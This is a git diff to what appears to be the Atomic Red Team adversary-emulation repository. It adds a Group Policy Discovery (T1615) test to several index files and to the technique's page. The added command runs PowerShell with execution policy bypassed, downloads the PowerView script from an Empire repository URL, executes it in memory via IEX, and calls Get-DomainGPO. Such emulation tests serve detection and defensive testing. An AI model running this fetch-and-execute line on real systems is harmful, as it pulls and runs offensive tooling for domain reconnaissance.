diff --git a/atomics/Indexes/Indexes-CSV/index.csv b/atomics/Indexes/Indexes-CSV/index.csv
index f31c8557..1b761e90 100644
--- a/atomics/Indexes/Indexes-CSV/index.csv
+++ b/atomics/Indexes/Indexes-CSV/index.csv
@@ -870,6 +870,7 @@ discovery,T1083,File and Directory Discovery,3,Nix File and Directory Discovery,
discovery,T1083,File and Directory Discovery,4,Nix File and Directory Discovery 2,13c5e1ae-605b-46c4-a79f-db28c77ff24e,sh
discovery,T1083,File and Directory Discovery,5,Simulating MAZE Directory Enumeration,c6c34f61-1c3e-40fb-8a58-d017d88286d8,powershell
discovery,T1615,Group Policy Discovery,1,Display group policy information via gpresult,0976990f-53b1-4d3f-a185-6df5be429d3b,command_prompt
+discovery,T1615,Group Policy Discovery,2,Get-DomainGPO to display group policy information via PowerView,4e524c4e-0e02-49aa-8df5-93f3f7959b9f,powershell
discovery,T1087.001,Local Account,1,Enumerate all accounts (Local),f8aab3dd-5990-4bf8-b8ab-2226c951696f,sh
discovery,T1087.001,Local Account,2,View sudoers access,fed9be70-0186-4bde-9f8a-20945f9370c2,sh
discovery,T1087.001,Local Account,3,View accounts with UID 0,c955a599-3653-4fe5-b631-f11c00eb0397,sh
diff --git a/atomics/Indexes/Indexes-CSV/windows-index.csv b/atomics/Indexes/Indexes-CSV/windows-index.csv
index 4161ea34..7012fcde 100644
--- a/atomics/Indexes/Indexes-CSV/windows-index.csv
+++ b/atomics/Indexes/Indexes-CSV/windows-index.csv
@@ -605,6 +605,7 @@ discovery,T1083,File and Directory Discovery,1,File and Directory Discovery (cmd
discovery,T1083,File and Directory Discovery,2,File and Directory Discovery (PowerShell),2158908e-b7ef-4c21-8a83-3ce4dd05a924,powershell
discovery,T1083,File and Directory Discovery,5,Simulating MAZE Directory Enumeration,c6c34f61-1c3e-40fb-8a58-d017d88286d8,powershell
discovery,T1615,Group Policy Discovery,1,Display group policy information via gpresult,0976990f-53b1-4d3f-a185-6df5be429d3b,command_prompt
+discovery,T1615,Group Policy Discovery,2,Get-DomainGPO to display group policy information via PowerView,4e524c4e-0e02-49aa-8df5-93f3f7959b9f,powershell
discovery,T1087.001,Local Account,8,Enumerate all accounts on Windows (Local),80887bec-5a9b-4efc-a81d-f83eb2eb32ab,command_prompt
discovery,T1087.001,Local Account,9,Enumerate all accounts via PowerShell (Local),ae4b6361-b5f8-46cb-a3f9-9cf108ccfe7b,powershell
discovery,T1087.001,Local Account,10,Enumerate logged on users via CMD (Local),a138085e-bfe5-46ba-a242-74a6fb884af3,command_prompt
diff --git a/atomics/Indexes/Indexes-Markdown/index.md b/atomics/Indexes/Indexes-Markdown/index.md
index 3d2b65a9..c4989d1c 100644
--- a/atomics/Indexes/Indexes-Markdown/index.md
+++ b/atomics/Indexes/Indexes-Markdown/index.md
@@ -1390,6 +1390,7 @@
- Atomic Test #5: Simulating MAZE Directory Enumeration [windows]
- [T1615 Group Policy Discovery](../../T1615/T1615.md)
- Atomic Test #1: Display group policy information via gpresult [windows]
+ - Atomic Test #2: Get-DomainGPO to display group policy information via PowerView [windows]
- T1016.001 Internet Connection Discovery [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
- [T1087.001 Local Account](../../T1087.001/T1087.001.md)
- Atomic Test #1: Enumerate all accounts (Local) [linux]
diff --git a/atomics/Indexes/Indexes-Markdown/windows-index.md b/atomics/Indexes/Indexes-Markdown/windows-index.md
index f0f4f52f..636c40c5 100644
--- a/atomics/Indexes/Indexes-Markdown/windows-index.md
+++ b/atomics/Indexes/Indexes-Markdown/windows-index.md
@@ -1002,6 +1002,7 @@
- Atomic Test #5: Simulating MAZE Directory Enumeration [windows]
- [T1615 Group Policy Discovery](../../T1615/T1615.md)
- Atomic Test #1: Display group policy information via gpresult [windows]
+ - Atomic Test #2: Get-DomainGPO to display group policy information via PowerView [windows]
- T1016.001 Internet Connection Discovery [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
- [T1087.001 Local Account](../../T1087.001/T1087.001.md)
- Atomic Test #8: Enumerate all accounts on Windows (Local) [windows]
diff --git a/atomics/Indexes/index.yaml b/atomics/Indexes/index.yaml
index e6cba7ed..b313d820 100644
--- a/atomics/Indexes/index.yaml
+++ b/atomics/Indexes/index.yaml
@@ -59123,6 +59123,17 @@ discovery:
command: 'gpresult /z
'
+ - name: Get-DomainGPO to display group policy information via PowerView
+ auto_generated_guid: 4e524c4e-0e02-49aa-8df5-93f3f7959b9f
+ description: Use PowerView to Get-DomainGPO This will only work on Windows 10
+ Enterprise and A DC Windows 2019.
+ supported_platforms:
+ - windows
+ executor:
+ command: powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://github.com/BC-SECURITY/Empire/blob/86921fbbf4945441e2f9d9e7712c5a6e96eed0f3/empire/server/data/module_source/situational_awareness/network/powerview.ps1');
+ Get-DomainGPO"
+ name: powershell
+ elevation_required: true
T1016.001:
technique:
object_marking_refs:
diff --git a/atomics/T1615/T1615.md b/atomics/T1615/T1615.md
index 4e3c43ba..ad99860f 100644
--- a/atomics/T1615/T1615.md
+++ b/atomics/T1615/T1615.md
@@ -8,6 +8,8 @@ Adversaries may use commands such as gpresult or various publicly a
- [Atomic Test #1 - Display group policy information via gpresult](#atomic-test-1---display-group-policy-information-via-gpresult)
+- [Atomic Test #2 - Get-DomainGPO to display group policy information via PowerView](#atomic-test-2---get-domaingpo-to-display-group-policy-information-via-powerview)
+
@@ -40,4 +42,32 @@ gpresult /z
+
+
+
+## Atomic Test #2 - Get-DomainGPO to display group policy information via PowerView
+Use PowerView to Get-DomainGPO This will only work on Windows 10 Enterprise and A DC Windows 2019.
+
+**Supported Platforms:** Windows
+
+
+**auto_generated_guid:** 4e524c4e-0e02-49aa-8df5-93f3f7959b9f
+
+
+
+
+
+
+#### Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)
+
+
+```powershell
+powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://github.com/BC-SECURITY/Empire/blob/86921fbbf4945441e2f9d9e7712c5a6e96eed0f3/empire/server/data/module_source/situational_awareness/network/powerview.ps1'); Get-DomainGPO"
+```
+
+
+
+
+
+